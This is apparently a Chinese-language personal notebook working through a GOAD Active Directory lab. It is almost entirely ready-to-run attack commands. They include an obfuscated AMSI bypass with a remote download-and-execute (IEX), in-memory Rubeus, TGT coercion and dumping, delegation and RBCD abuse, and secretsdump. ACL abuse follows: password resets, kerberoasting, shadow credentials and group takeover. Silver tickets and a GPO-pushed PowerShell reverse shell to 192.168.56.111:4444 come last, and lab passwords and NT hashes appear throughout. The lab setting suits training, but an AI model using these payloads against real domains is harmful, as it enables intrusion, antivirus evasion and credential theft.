${{ github.workspace }}
python3 -m http.server 8080
这个powershell要以管理员权限来启动
$x=[Ref].Assembly.GetType('System.Management.Automation.Am'+'siUt'+'ils');$y=$x.GetField('am'+'siCon'+'text',[Reflection.BindingFlags]'NonPublic,Static');$z=$y.GetValue($null);[Runtime.InteropServices.Marshal]::WriteInt32($z,0x41424344) (new-object system.net.webclient).downloadstring('http://192.168.56.111:8080/amsi_rmouse.txt')|IEX
$data = (New-Object System.Net.WebClient).DownloadData('http://192.168.56.111:8080/Rubeus.exe') $assem = [System.Reflection.Assembly]::Load($data);
[Rubeus.Program]::MainString("triage");
刚开始没以管理员启动
后来以管理员启动powershell
https://github.com/p0dalirius/Coercer
旧版本
python coercer.py -u arya.stark -d north.sevenkingdoms.local -p Needle -t kingslanding.sevenkingdoms.local -l winterfell
新版本
python Coercer.py coerce -u arya.stark -d north.sevenkingdoms.local -p Needle -t kingslanding.sevenkingdoms.local -l winterfell
两个版本下都没成功 重新执行triage
没有新增的kingslanding的tgt
等了半天之后重新执行 成功了
提取该tgt(重新启动 coercer 并在 1 秒后启动以下转储命令):(我不知道为什么,但 rubeus 监控模式不想在 execute assembly 中运行)
[Rubeus.Program]::MainString("dump /user:kingslanding$ /service:krbtgt /nowrap");
::%s/\s*\n\s*//g
cat tgt.b64|base64 -d > ticket.kirbi ticketConverter.py ticket.kirbi ticket.ccache export KRB5CCNAME=/workspace/unconstrained/ticket.ccache secretsdump.py -k -no-pass SEVENKINGDOMS.LOCAL/'KINGSLANDING$'@KINGSLANDING
MATCH p=(u)-[:AllowedToDelegate]->(c) RETURN p
(备注:在实验环境中,sharphound 似乎无法捕获没有协议转换的约束委派
python findDelegation.py NORTH.SEVENKINGDOMS.LOCAL/arya.stark:Needle -target-domain north.sevenkingdoms.local
.\Rubeus.exe asktgt /user:jon.snow /domain:north.sevenkingdoms.local /rc4:B8D76E56E9DAC90539AFF05E3CCB1755 .\Rubeus.exe s4u /ticket:put_the__previous_ticket_here /impersonateuser:administrator /msdsspn:CIFS/winterfell /ptt
getST.py -spn 'CIFS/winterfell' -impersonate Administrator -dc-ip '192.168.56.11' 'north.sevenkingdoms.local/jon.snow:iknownothing'
export KRB5CCNAME=Administrator.ccache python wmiexec.py -k -no-pass north.sevenkingdoms.local/[email protected]
SPN 列表 Carlos Polop(hacktricks),给我们一个有用的常见 SPN 列表和用法
sudo docker run -ti --rm --network host -h goadansible -v $(pwd):/goad -w /goad/ansible goadansible ansible-playbook vulnerabilities.yml -l dc02 --tags "data,constrained_delegation_kerb"
Set-ADComputer -Identity "castelblack$" -ServicePrincipalNames @{Add='HTTP/winterfell.north.sevenkingdoms.local'} Set-ADComputer -Identity "castelblack$" -Add @{'msDS-AllowedToDelegateTo'=@('HTTP/winterfell.north.sevenkingdoms.local','HTTP/winterfell')}
结果长这个样
一个利用例子可以参考
Abusing Kerberos Constrained Delegation without Protocol Transition
self-RBCD 技巧不再有效。 当我写这篇文章时,我尝试了很多次 self-rbcd 都没有成功。 在多次尝试失败后,我问 charlie (@_nwodtuhs) 我做错了什么,因为我无法找出为什么这不能按预期工作。 他向我解释说 self rbcd 技巧不再起作用,并且已被 Microsoft 静默修补
- 为了利用这里的约束委托,我们只需要一个可转发的 TGS 作为 castelblack 上任何服务的管理员
- 但是,如果我们像协议转换那样执行 s4u (s4u2self + s4u2proxy),s4uself 将向我们发送不可转发的 TGS,攻击将失败。
- 因此,为了利用并获得我们需要的可转发 TGS,我们首先需要添加一台计算机,并在创建的计算机(rbcd_const$)和设置了委托的计算机(这里是 castelblack$)之间使用 RBCD。
- 通过这样做,您可以在添加的计算机上执行 s4u2self,然后执行 s4u2proxy,结果是以管理员身份在 hots/castelblack$ 上执行可转发的 tgs。
- 完成后,您将获得可转发的ticket以传递给 s4u2proxy,我们甚至可以使用 -altservice 更改请求服务
# add computer X (rbcd_const) addcomputer.py -computer-name 'rbcd_const$' -computer-pass 'rbcdpass' -dc-host 192.168.56.11 'north.sevenkingdoms.local/arya.stark:Needle' # add rbcd from X (rbcd_const) to constrained (castelblack) rbcd.py -delegate-from 'rbcd_const$' -delegate-to 'castelblack$' -dc-ip 192.168.56.11 -action 'write' -hashes ':b52ee55ea1b9fb81de8c4f0064fa9301' north.sevenkingdoms.local/'castelblack$'
# s4u2self on X (rbcd_const) getST.py -self -impersonate "administrator" -dc-ip 192.168.56.11 north.sevenkingdoms.local/'rbcd_const$':'rbcdpass' # s4u2proxy from X (rbcd_const) to constrained (castelblack) getST.py -impersonate "administrator" -spn "host/castelblack" -additional-ticket '[email protected][email protected]' -dc-ip 192.168.56.11 north.sevenkingdoms.local/'rbcd_const$':'rbcdpass'
getST.py -spn 'host/castelblack' -impersonate Administrator -dc-ip 192.168.56.11 north.sevenkingdoms.local/'rbcd_const$':'rbcdpass'
# s4u2proxy from constrained (castelblack) to target (winterfell) - with altservice to change the SPN in use getST.py -impersonate "administrator" -spn "http/winterfell" -altservice "cifs/winterfell" -additional-ticket '[email protected][email protected]' -dc-ip 192.168.56.11 -hashes ':b52ee55ea1b9fb81de8c4f0064fa9301' north.sevenkingdoms.local/'castelblack$' export KRB5CCNAME=/workspace/[email protected][email protected] wmiexec.py -k -no-pass north.sevenkingdoms.local/[email protected]
rbcd.py -delegate-to 'castelblack$' -delegate-from 'rbcd_const$' -dc-ip 192.168.56.11 -action 'flush' -hashes ':b52ee55ea1b9fb81de8c4f0064fa9301' north.sevenkingdoms.local/'castelblack$' addcomputer.py -computer-name 'rbcd_const$' -computer-pass 'rbcdpass' -dc-host 192.168.56.11 'north.sevenkingdoms.local/eddard.stark:FightP3aceAndHonor!' -delete
msDS-AllowedToActOnBehalfOfOtherIdentity
时,您可以利用 RBCD:计算机帐户可以编辑他自己的属性 msDS-AllowedToActOnBehalfOfOtherIdentity 这在您执行 ldaps NTLM 中继时很有用(例如在drop-the-mic攻击路径中),然后您可以编辑计算机属性并启动 RBCD 利用。
- 一个利用示例是当您在计算机上获得 genericAll 或 genericWrite ACL 时。
- 当您查看用户的 acl 时,您可以在实验室中找到它。
addcomputer.py -computer-name 'rbcd$' -computer-pass 'rbcdpass' -dc-host kingslanding.sevenkingdoms.local 'sevenkingdoms.local/stannis.baratheon:Drag0nst0ne'
rbcd.py -delegate-from 'rbcd$' -delegate-to 'kingslanding$' -dc-ip 'kingslanding.sevenkingdoms.local' -action 'write' sevenkingdoms.local/stannis.baratheon:Drag0nst0ne
getST.py -spn 'cifs/kingslanding.sevenkingdoms.local' -impersonate Administrator -dc-ip 'kingslanding.sevenkingdoms.local' 'sevenkingdoms.local/rbcd$:rbcdpass' export KRB5CCNAME=/workspace/rbcd/[email protected][email protected] wmiexec.py -k -no-pass @kingslanding.sevenkingdoms.local
rbcd.py -delegate-from 'rbcd$' -delegate-to 'kingslanding$' -dc-ip 'kingslanding.sevenkingdoms.local' -action 'flush' sevenkingdoms.local/stannis.baratheon:Drag0nst0ne addcomputer.py -computer-name 'rbcd$' -computer-pass 'rbcdpass' -dc-host kingslanding.sevenkingdoms.local 'sevenkingdoms.local/cersei.lannister:il0vejaime' -delete
在活动目录中,对象权限被称为访问控制条目(Access Control Entries,ACE),一个ACE列表被称为访问控制列表(Access Control List,ACL)。
需要更新用户和acl
sudo docker run -ti --rm --network host -h goadansible -v $(pwd):/goad -w /goad/ansible goadansible ansible-playbook ad-data.yml sudo docker run -ti --rm --network host -h goadansible -v $(pwd):/goad -w /goad/ansible goadansible ansible-playbook ad-acl.yml sudo docker run -ti --rm --network host -h goadansible -v $(pwd):/goad -w /goad/ansible goadansible ansible-playbook ad-relations.yml sudo docker run -ti --rm --network host -h goadansible -v $(pwd):/goad -w /goad/ansible goadansible ansible-playbook vulnerabilities.yml
应该就是这些acl了
默认情况下,Active Directory 保护组每小时重置一次,ACL 值存储在“CN=AdminSDHolder,CN=System,DC=yourdc”
受保护的组和关联用户受到影响:Account Operators
Administrator
Administrators
Backup Operators
Domain Admins
Domain Controllers
Enterprise Admins
Krbtgt
Print Operators
Read-only Domain Controllers
Replicator
Schema Admins
Server Operators
- 新的ACL概览:
MATCH p=(u)-[r1]->(n) WHERE r1.isacl=true and not tolower(u.name) contains 'vagrant' and u.admincount=false and not tolower(u.name) contains 'key' RETURN p
首先,我们将从 tywin.lannister(密码:powerkingftw135)开始关注 sevenkingdoms killchain 的ACL
让我们一步步从tywin拿到kingslanding DC
提醒:利用 ACL 攻击会对目标进行更改。 如果您在审计期间尝试利用它,请确保您知道自己在做什么。
net rpc password jaime.lannister -U sevenkingdoms.local/tywin.lannister%powerkingftw135 -S kingslanding.sevenkingdoms.local
进行验证
cme smb 192.168.56.10 -u jaime.lannister -d sevenkingdoms.local -p pasdebraspasdechocolat
https://stackoverflow.com/questions/69938570/md4-hashlib-support-in-python-3-8
python targetedKerberoast.py -v -d sevenkingdoms.local -u jaime.lannister -p pasdebraspasdechocolat --request-user joffrey.baratheon
hashcat -m 13100 -a 0 joffrey.hash rockyou.txt --force
joffrey密码是 1killerlion
这之前博客中完成,最快的利用之一是使用 certipy:
certipy shadow auto -u [email protected] -p 'pasdebraspasdechocolat' -account 'joffrey.baratheon'
原文链接 https://mayfly277.github.io/posts/GOADv2-pwning-part11/#logon-script
https://github.com/franc-pentest/ldeep
这里不尝试了 最后可以得到joffrey.baratheon 和 kingslanding$ 的NetNLMV2 Hash
git clone https://github.com/ThePorgs/impacket.git
cd impacket
python3 setup.py install
dacledit.py -action 'read' -principal joffrey.baratheon -target 'tyron.lannister' 'sevenkingdoms.local'/'joffrey.baratheon':'1killerlion'
dacledit.py -action 'write' -rights 'FullControl' -principal joffrey.baratheon -target 'tyron.lannister' 'sevenkingdoms.local'/'joffrey.baratheon':'1killerlion'
certipy shadow auto -u [email protected] -p '1killerlion' -account 'tyron.lannister' Certipy v4.3.0 - by Oliver Lyak (ly4k) [*] Targeting user 'tyron.lannister' [*] Generating certificate [*] Certificate generated [*] Generating Key Credential [*] Key Credential generated with DeviceID 'eed060c4-6338-6b35-0337-1a5d9655945d' [*] Adding Key Credential with device ID 'eed060c4-6338-6b35-0337-1a5d9655945d' to the Key Credentials for 'tyron.lannister' [*] Successfully added Key Credential with device ID 'eed060c4-6338-6b35-0337-1a5d9655945d' to the Key Credentials for 'tyron.lannister' [*] Authenticating as 'tyron.lannister' with the certificate [*] Using principal: [email protected] [*] Trying to get TGT... [*] Got TGT [*] Saved credential cache to 'tyron.lannister.ccache' [*] Trying to retrieve NT hash for 'tyron.lannister' [*] Restoring the old Key Credentials for 'tyron.lannister' [*] Successfully restored the old Key Credentials for 'tyron.lannister' [*] NT hash for 'tyron.lannister': b3b3717f7d51b37fb325f7e7d048e998
拿到了tyron的NT hash
ldeep ldap -u tyron.lannister -H ':b3b3717f7d51b37fb325f7e7d048e998' -d sevenkingdoms.local -s ldap://192.168.56.10 search '(sAMAccountName=tyron.lannister)' distinguishedName ldeep ldap -u tyron.lannister -H ':b3b3717f7d51b37fb325f7e7d048e998' -d sevenkingdoms.local -s ldap://192.168.56.10 search '(sAMAccountName=Small Council)' distinguishedName
ldeep ldap -u tyron.lannister -H ':b3b3717f7d51b37fb325f7e7d048e998' -d sevenkingdoms.local -s ldap://192.168.56.10 add_to_group "CN=tyron.lannister,OU=Westerlands,DC=sevenkingdoms,DC=local" "CN=Small Council,OU=Crownlands,DC=sevenkingdoms,DC=local"
ldeep ldap -u tyron.lannister -H ':b3b3717f7d51b37fb325f7e7d048e998' -d sevenkingdoms.local -s ldap://192.168.56.10 membersof 'Small Council'
ldeep ldap -u tyron.lannister -H ':b3b3717f7d51b37fb325f7e7d048e998' -d sevenkingdoms.local -s ldap://192.168.56.10 add_to_group "CN=tyron.lannister,OU=Westerlands,DC=sevenkingdoms,DC=local" "CN=DragonStone,OU=Crownlands,DC=sevenkingdoms,DC=local"
owneredit.py -action read -target 'kingsguard' -hashes ':b3b3717f7d51b37fb325f7e7d048e998' sevenkingdoms.local/tyron.lannister owneredit.py -action write -new-owner 'tyron.lannister' -target 'kingsguard' -hashes ':b3b3717f7d51b37fb325f7e7d048e998' sevenkingdoms.local/tyron.lannister
dacledit.py -action 'write' -rights 'FullControl' -principal tyron.lannister -target 'kingsguard' 'sevenkingdoms.local'/'tyron.lannister' -hashes ':b3b3717f7d51b37fb325f7e7d048e998'
ldeep ldap -u tyron.lannister -H ':b3b3717f7d51b37fb325f7e7d048e998' -d sevenkingdoms.local -s ldap://192.168.56.10 add_to_group "CN=tyron.lannister,OU=Westerlands,DC=sevenkingdoms,DC=local" "CN=kingsguard,OU=Crownlands,DC=sevenkingdoms,DC=local"
net rpc password stannis.baratheon --pw-nt-hash -U sevenkingdoms.local/tyron.lannister%b3b3717f7d51b37fb325f7e7d048e998 -S kingslanding.sevenkingdoms.local
新密码修改为 Drag0nst0ne
s4u2self abuse
export KRB5CCNAME=kingslanding.ccache getST.py -self -impersonate "Administrator" -altservice "cifs/kingslanding.sevenkingdoms.local" -k -no-pass -dc-ip 192.168.56.10 "sevenkingdoms.local"/'kingslanding$'
Silver ticket
使用影子凭据攻击中获得的kingslanding$的hash
lookupsid.py -hashes ':d3fb97ac7cc98cf73728c109c9b7c143' 'sevenkingdoms.local'/'kingslanding$'@kingslanding.sevenkingdoms.local 0
ticketer.py -nthash '33a43e326dad53a516dc06393281d2cc' -domain-sid 'S-1-5-21-1567764229-28288292-3181328809' -domain sevenkingdoms.local -spn cifs/kingslanding.sevenkingdoms.local Administrator
export KRB5CCNAME=Administrator.ccache wmiexec.py -k -no-pass sevenkingdoms.local/[email protected]
可能是环境问题 报了个错 回头再试试
git clone https://github.com/Hackndo/pyGPOAbuse.git cd pyGPOAbuse virtualenv venv source venv/bin/activate pip install -r requirements.txt
python3 pygpoabuse.py north.sevenkingdoms.local/samwell.tarly:'Heartsbane' -gpo-id "C040A8A9-BDB0-488B-84FF-7DD09C1C9337"
python pygpoabuse.py north.sevenkingdoms.local/samwell.tarly:'Heartsbane' -gpo-id "C040A8A9-BDB0-488B-84FF-7DD09C1C9337" -powershell -command "\$c = New-Object System.Net.Sockets.TCPClient('192.168.56.111',4444);\$s = \$c.GetStream();[byte[]]\$b = 0..65535|%{0};while((\$i = \$s.Read(\$b, 0, \$b.Length)) -ne 0){ \$d = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$b,0, \$i); \$sb = (iex \$d 2>&1 | Out-String ); \$sb = ([text.encoding]::ASCII).GetBytes(\$sb + 'ps> '); \$s.Write(\$sb,0,\$sb.Length); \$s.Flush()};\$c.Close()" -taskname "MyTask" -description "don't worry"
能看到计划任务
收到shell
hoaxshell没成功 手动试了下 被拦截了
没找到在哪 问题不大
cme ldap 192.168.56.12 -d essos.local -u jorah.mormont -p 'H0nnor!' --module laps